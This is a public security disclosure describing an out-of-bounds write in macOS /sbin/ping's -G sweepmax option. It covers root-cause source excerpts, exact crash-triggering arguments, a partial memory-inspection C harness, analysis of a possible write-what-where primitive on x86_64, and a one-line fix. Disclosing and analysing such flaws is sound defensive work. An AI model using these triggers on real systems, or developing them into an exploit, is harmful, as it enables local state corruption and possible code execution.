/sbin/ping Missing Bounds Check on -G sweepmax

Controlled BSS Out-of-Bounds Write on macOS — Public Disclosure PING-01

Stuart Thomas

Independent Security Research — Whitby, North Yorkshire, United Kingdom

13 May 2026  ·  macOS / network_cmds-730.80.3 / /sbin/ping  ·  Vendor ref: OE1105761557610  ·  Planned for Fall 2026 / In progress  ·  ORCID: 0009-0008-4518-0064  ·  CC BY 4.0


Plain Summary
The -G sweepmax flag of /sbin/ping on macOS accepts values larger than the internal packet buffer without checking the limit that the neighbouring -s flag enforces. The fill loop then writes controllable bytes past the end of a 65,535-byte global array. The author demonstrated, empirically, that writing 128 bytes past the end overwrites the socket file descriptor with a predictable byte value, causing a deterministic, binary-searchable crash. Apple has confirmed the bug and scheduled a fix for Fall 2026.
Abstract

/sbin/ping’s -G sweepmax argument is stored without validating it against maxpayload. The packet-fill loop then writes up to sweepmax bytes starting from outpackhdr[36] (SOCK_RAW / root) or outpackhdr[16] (SOCK_DGRAM / non-root), overflowing past the end of the 65,535-byte outpackhdr global array. The bug is asymmetric: the -s datalen flag has the bounds check that -G sweepmax lacks. The omission was introduced when an #ifndef __APPLE__ block removed the non-root uid guard for -G without adding an equivalent maxpayload check. On arm64e (Apple Silicon), PAC prevents code-pointer hijack; state corruption via socket-fd overwrite remains demonstrable. On x86_64, pointer-type globals are within attacker reach. /sbin/ping is not setuid on macOS 11 or later; there is no direct privilege escalation on default configurations.

Keywords: out-of-bounds write · BSS corruption · network_cmds · ping · macOS · responsible disclosure · Apple Security Bounty · arm64e · PAC

Table 1. Disclosure timeline — PING-01 / OE1105761557610.
DateEvent
2026-04-04Initial report to Apple Security Bounty (OE1105761557610).
2026-04-16Apple confirmed reproduction; status set to “We’re planning to address the issue”; fix planned Fall 2026. Apple asked whether a controlled-execution or privilege-escalation primitive could be demonstrated.
2026-04-16Author replied with detailed exploit-primitive analysis: byte-precise socket fd corruption at OOB+128, value 0x63, deterministic, with architecture-specific (x86_64 vs arm64e) analysis.
2026-04-17Apple: “Thanks for the additional information. We will further review.”
2026-05-13Author follow-up; Apple replied: “We have reproduced this report and are continuing to investigate. No additional information is needed from you at this time.”
2026-05-13Public disclosure (this document).

1. Introduction

/sbin/ping on macOS ships as part of network_cmds-730.80.3, Apple’s open-source fork of the BSD networking utilities. The binary accepts a sweep-mode flag, -G sweepmax, that sets the upper bound of a payload-size sweep. An adjacent flag, -s datalen, enforces a maximum-payload check before the value is stored. -G sweepmax does not.

The omission is Apple-specific: the upstream guard was wrapped in an #ifndef __APPLE__ block that removed a uid-based size restriction without substituting an equivalent maxpayload check. The result is that any user can supply a sweep ceiling larger than the 65,535-byte internal buffer and the fill loop will write past the end of that buffer into adjacent BSS globals.

This disclosure documents the root cause in source, the empirical confirmation of the primitive (socket-fd overwrite at OOB+128, value 0x63, deterministic), and the extended-range analysis for both arm64e and x86_64 architectures. Apple has confirmed the bug and scheduled a fix for Fall 2026. The author considers 40 days of exclusivity appropriate for a local, non-setuid state-corruption primitive and publishes now to enable independent verification and defensive work.

2. Affected Binary

The analysis was performed on /sbin/ping as shipped with macOS 26.4.1 (build 25E253, arm64e) and cross-confirmed on macOS 26.4 (build 25E246, arm64e). The x86_64 code path was confirmed by static analysis of the x86_64 slice.

FieldValue
Packagenetwork_cmds-730.80.3
Binary/sbin/ping
macOS tested26.4.1 build 25E253 (arm64e); 26.4 build 25E246 (arm64e)
Sourcegithub.com/apple-oss-distributions/network_cmds
SetuidNo (macOS 11+)

3. Root Cause

3.1 The Asymmetric Guard

The -s (data-length) option enforces the bounds check that -G does not. In ping.c ~line 647:

/* -s datalen: guard PRESENT */
if (datalen > maxpayload)
    errx(EX_USAGE,
        "packet size too large: %d > %d",
        datalen, maxpayload);

In the -G sweepmax handler, the original guard has been conditionally compiled out:

/* -G sweepmax: guard ABSENT */
#ifndef __APPLE__
    if (uid != 0 && ultmp > DEFDATALEN) {
        err(EX_NOPERM, "packet size too large");
    }
#endif
sweepmax = ultmp;  /* ← no maxpayload check */

The #ifndef __APPLE__ removed the non-root uid guard without substituting an equivalent maxpayload check. The omission is Apple-specific; the macOS code path exposes sweepmax values up to UINT_MAX to the fill loop.

3.2 The Fill Loop

The packet-fill loop at ping.c ~line 741 uses the larger of datalen and sweepmax as its upper bound, writing into outpackhdr starting at a socket-type-dependent offset:

/* SOCK_RAW  (root):    datap = outpackhdr[36] */
/* SOCK_DGRAM (non-root): datap = outpackhdr[16] */
if (!(options & F_PINGFILLED))
    for (i = TIMEVAL_LEN;
         i < MAX(datalen, sweepmax); ++i)
        *datap++ = i; /* u_char; value = i % 256 */

outpackhdr[] is IP_MAXPACKET = 65535 bytes. With sweepmax > maxpayload, the loop walks past the array end and into adjacent BSS globals.

3.3 Overflow Thresholds

Table 2. Overflow thresholds per socket mode (empirically confirmed).

ModeSocketdatap basemaxpayloadOverflow at sweepmax ≥
rootSOCK_RAWoutpackhdr+3665,50765,508
non-rootSOCK_DGRAMoutpackhdr+1665,52765,528

4. Exploit Primitive

Each overflowed byte is i % 256, where i is the fill-loop counter and is attacker-controlled via -G. The write is therefore byte-precise and deterministic: choose -G N and the byte at outpackhdr[N-1] becomes (N-1) % 256.

4.1 Socket FD Corruption

The static int s socket descriptor is placed by the compiler at exactly 128 bytes past the end of outpackhdr[] in the compiled binary’s __common BSS section (verified by inspecting the Mach-O symbol table on macOS 26.4.1 arm64e).

With -G 65637 (write up to i = 65,636), the first byte of s is overwritten with 65,635 % 256 = 99 = 0x63. The valid socket fd (typically 3 or 4) becomes 0x63, which is invalid. The next setsockopt() call returns EBADF and the binary exits with status 71.

$ /sbin/ping -G 65637 -g 1 -h 1 -c 1 127.0.0.1
ping: setsockopt(SO_TRAFFIC_CLASS): Bad file descriptor
ping: setsockopt(SO_TIMESTAMP): Bad file descriptor
[exit 71 / EX_OSERR]

$ /sbin/ping -G 65636 -g 1 -h 1 -c 1 127.0.0.1
PING 127.0.0.1 (127.0.0.1): (0 ... 65636) data bytes
... (clean operation — one byte below threshold)

The crash is deterministic and binary-searchable: sweepmax 65,636 runs cleanly; 65,637 crashes. The threshold is invariant across runs (no ASLR sensitivity at this layout level).

4.2 Extended Write Range

At higher sweepmax values (≈ 65,650–65,800) the writes reach pointer-type globals *outpack, *hostname, *shostname in the same __common section. On x86_64 these are unguarded 8-byte pointer slots; the sequential byte pattern produces an attacker-influenced address, creating a write-what-where primitive bounded by the sequential value constraint. On arm64e, PAC prevents direct PC capture from this primitive; state corruption remains observable.

4.3 Primitive Summary

PropertyAssessment
IsDeterministic, controlled, byte-precise BSS write
IsArchitecturally observable on all macOS versions shipping the affected network_cmds
IsExploitable as a state-corruption primitive (socket fd, both architectures)
Is notA direct privilege escalation (ping not setuid on macOS 11+)
Is notA direct PC-capture primitive on arm64e (PAC blocks pointer hijack)
Is notNetwork-reachable (local execution only)

5. Reproduction

The demonstration requires only the system-shipped /sbin/ping binary on any macOS 26.4.1 host. The following two commands show the asymmetry:

# Crashes deterministically:
$ /sbin/ping -G 65637 -g 1 -h 1 -c 1 127.0.0.1; echo "exit=$?"
ping: setsockopt(SO_TRAFFIC_CLASS): Bad file descriptor
ping: setsockopt(SO_TIMESTAMP): Bad file descriptor
exit=71

# Symmetric flag enforces the same limit cleanly:
$ /sbin/ping -s 65508 127.0.0.1 2>&1; echo "exit=$?"
ping: packet size too large: 65508 > 65507
exit=64

5.1 Memory-Level Evidence

A minimal C harness using task_for_pid and mach_vm_read confirms the overflow bytes at the array boundary. Requires root and SIP-disabled environment.

/* poc_evidence_capture.c (excerpt) */
#include <mach/mach.h>
#include <mach/mach_vm.h>
#include <signal.h>
#include <unistd.h>

int main(void) {
    pid_t pid = fork();
    if (pid == 0) {
        execl("/sbin/ping", "ping",
              "-G", "65510", "127.0.0.1", NULL);
        _exit(1);
    }
    usleep(600000);
    kill(pid, SIGSTOP);

    task_t task;
    task_for_pid(mach_task_self(), pid, &task);
    /* scan RW regions, read overflow boundary   */
    /* at outpackhdr[65530..65540]                */
}

Observed on macOS 26.4 arm64e build 25E246:

outpackhdr[65531..65534]: df e0 e1 e2  ← last 4 in-bounds fill bytes
outpackhdr[65535]:        e3            ← 1-byte alignment pad
rcvd_tbl[0]:              e5            ← 0xe4 from fill | 0x01 by SET()
rcvd_tbl[1]:              e5            ← overflow (i=65509)
rcvd_tbl[2]:              00            ← loop stopped here

The 3-byte overflow at the lower sweepmax value shows the primitive begins immediately at the array boundary; the extended-range primitive documented in §4.2 shows the same loop continues into more impactful BSS locations as sweepmax increases.

6. Impact

Table 3. Impact assessment — PING-01.

FactorAssessment
Privilege requiredNone on default macOS (/sbin/ping runs as user)
Network requiredNone — loopback sufficient
CrashDeterministic at sweepmax ≥ 65,637 (root path); setsockopt returns EBADF
Data corruptionControlled — adjacent BSS bytes set to i % 256
Privilege escalationNo on macOS 11+ (ping not setuid)
Code executionNo on arm64e (PAC); plausible primitive on x86_64 given pointer-global reach
Remote attack surfaceNone — local execution only
User interactionNone beyond invoking /sbin/ping
Severity categoryApple “Userland → Network Utilities”

7. Recommended Fix

In the -G option handler (ping.c ~line 375), immediately after sweepmax = ultmp, add the symmetric guard that already exists for -s:

if ((int)sweepmax > maxpayload)
    errx(EX_USAGE,
        "sweep max size too large: %d > %d",
        sweepmax, maxpayload);

maxpayload is computed differently on the root and non-root paths; the check must be applied to both branches, mirroring the existing -s treatment. The fix is one line in each branch.

8. On Responsible Disclosure

This disclosure is published 40 days after the initial report, ahead of Apple’s scheduled Fall 2026 fix. The author considers this appropriate because:

  1. Apple has confirmed the bug. The fix is scheduled; Apple has stated that no further information is required from the reporter.
  2. The bug is locally executable only. An attacker capable of invoking /sbin/ping already has local code execution as a user.
  3. /sbin/ping is not setuid on macOS 11+. No privilege boundary is crossed by this primitive on default macOS.
  4. The primitive is well-bounded. It is a byte-precise BSS write, not an arbitrary write; the value pattern is sequential, not attacker-supplied content.
  5. Independent verification is valuable. Defensive tools, fuzzers, and downstream OS distributions that rebuild network_cmds can benefit from technical detail to verify mitigations and check for regressions when Apple ships the fix.

9. Reproducibility

This document is licensed CC BY 4.0; reuse, citation, and redistribution are explicitly permitted with attribution. The Apple OSS network_cmds source is open at github.com/apple-oss-distributions/network_cmds. The crash trigger requires only the system-shipped /sbin/ping binary on any macOS host. No external tooling is required for the user-mode demonstration. The memory-level evidence requires a SIP-relaxed environment and task_for_pid access.

10. Acknowledgements

The author thanks the developers of the open-source network_cmds project (Apple Inc.) for publishing the source that made this analysis possible. The author thanks the Apple Product Security team for confirming reproduction and scheduling the fix.

References

  1. Apple Inc. network_cmds-730.80.3, source archive, github.com/apple-oss-distributions/network_cmds.
  2. Apple Inc. Apple Security Bounty, security.apple.com/bounty.
  3. RFC 792, Internet Control Message Protocol, J. Postel, September 1981.
  4. Apple Inc. ping(8) manual page as shipped with macOS 26.4.1.

Stuart Thomas is an independent security researcher with prior contributions accepted into the OpenBSD and FreeBSD projects and submissions accepted into the Apple Security Bounty pipeline. The opinions expressed are the author’s own. This disclosure represents the author’s own work and does not represent the position of any employer.